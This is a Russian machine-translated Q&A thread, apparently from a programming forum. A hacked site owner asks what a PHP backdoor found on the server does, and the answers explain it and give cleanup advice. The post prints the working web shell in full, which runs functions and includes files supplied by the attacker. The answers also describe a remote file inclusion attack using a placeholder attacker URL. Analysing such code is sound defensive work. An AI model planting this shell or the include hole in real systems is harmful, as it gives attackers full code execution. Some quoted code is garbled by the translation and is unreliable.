Взломали! Что делает этот PHP-код? И как мне избежать этого? [закрытый]
Я был взломан, и, по-видимому, они отправляли спам-сообщения. Было два файла, которые они ввели на мой сервер (которые были дублированы во всех подкаталогах). Один из них-сильно хэшированный PHP-файл, который может быть отправителем. Приведенный ниже код взят из другого файла.
вот мой вопрос ... Что это получается? Я не могу перевести его назначение. Кроме того, что я должен сделать, чтобы это не повторилось?
<?php
if(@md5($_POST['pass'])!=='692e3f52ee6f16bc78fa6e1ec4bd4a6a')
die();
@extract($_POST);
if(!empty($a))
@$a($b);
if(!empty($_FILES['tmp_name']))
@include($_FILES['tmp_name']);
?>
3 ответов
немедленно переименуйте файл (на что-то другое, чем .php) перед дальнейшей проверкой, поэтому любой вредоносный пользователь больше не может его использовать.
затем исследуйте, как они смогли ввести это на ваш сервер.
в ваших журналах доступа вы найдете загрузки страниц, которые загружают этот конкретный файл PHP. Это будет вашей первой подсказкой. Исследуйте другие подключения с того же IP-адреса, например, и посмотрите, к каким скриптам они обращались/злоупотребляли. Где-то ты будешь ... вероятно, у вас есть устаревший / уязвимый плагин wordpress, плагин joomla и т. д. обновить или удалить этот плагин как можно скорее, или вы будете взломаны снова в ближайшее время!
также при проверке журналов доступа, посмотреть, если они загрузили новые бэкдоры! Возможно, вы видите, что некоторые скрипты вызываются по тому же IP-адресу, который не должен существовать. Удалить / переименовать их тоже!
что такое код делает довольно просто, но довольно продвинутый: Это позволяет держателю пароля выполните любой код, который вы сможете выполнить через PHP. Продвинутый бит заключается в том, что его трудно обнаружить. Он не использует base64, не eval и т. д.
edit:
идеализм сказал в комментариях:
Я на самом деле не использую Wordpress (или любую другую CMS) в этом домене, но у меня есть индекс.php файл, который обрабатывает динамическое создание различных страниц, делая включают существующего файла с префиксом подчеркивания-так индекс.РНР?go=about будет включать ("about.РНР.)" Он проверяет, существует ли файл, и, если нет, включает только файл по умолчанию. Я надеялся, что это достаточно безопасно. Здесь они могли использовать мой код? ` если (переменная$_GET['идти']==") { $перейти = 'видео'; } еще { $перейти = параметр $_GET['идти']; } если (!(file_exists (".$идти.'.php'))) { $go = 'videos';}
да, может быть ваша проблема! Вы говорите, что включенный файл имеет префикс с подчеркиванием, но я не вижу этого в вашем коде... Так, если хакер пошел в index.php?go=http://hackerssite.com/hackerscode
, вы бы в конечном итоге в том числе http://hackerssite.com/hackerscode.php
код и разрешить хаос!
удалите (и никогда не разрешайте) включение кода прямого ввода пользователем. Проверка $_GET['go']
против массива разрешенных страниц include или используйте switch
вызов include
.
это позволяет им запускать любую функцию, которую они хотят, и позволяет им загружать файл и немедленно включать его и анализировать как PHP... это так близко к полному доступу, как вы можете получить после root
. Вот полная разбивка:
-
разрешить атаку, чтобы убедиться, что они являются единственным, способным выдать атаку (простой защищенный паролем)
if(@md5($_POST['pass'])!=='692e3f52ee6f16bc78fa6e1ec4bd4a6a') die();
-
вытащить все переменные POST как свои собственные переменные и затем передайте любое имя функции (
$a
) и вызовите его (передавая переменную POST$b
). - это позволяет им запускать любую загруженную функцию (включая такие вещи, какexec
если ваша система это позволяет).@extract($_POST);
if(!empty($a)) @$a($b); -
разрешить злоумышленнику загрузить файл (любой файл) и автоматически включить его в php-скрипт.
if(!empty($_FILES['tmp_name'])) @include($_FILES['tmp_name']);
и @
перед каждым утверждением подавляет ошибки, поэтому он не будет отображаться в журнале ошибок, если вы проводите аудит.
похоже, что он выполняет функцию, имя которой задается через $_POST['a']
значением от $_POST['b']
в качестве параметра и не включает в себя файл, который загружается через специальную форму.
таким образом, в основном это позволяет пользователю выполнять PHP-файлы и функции на вашем сервере.
удалить или переименовать этот файл тут чтобы избежать дальнейшего использования.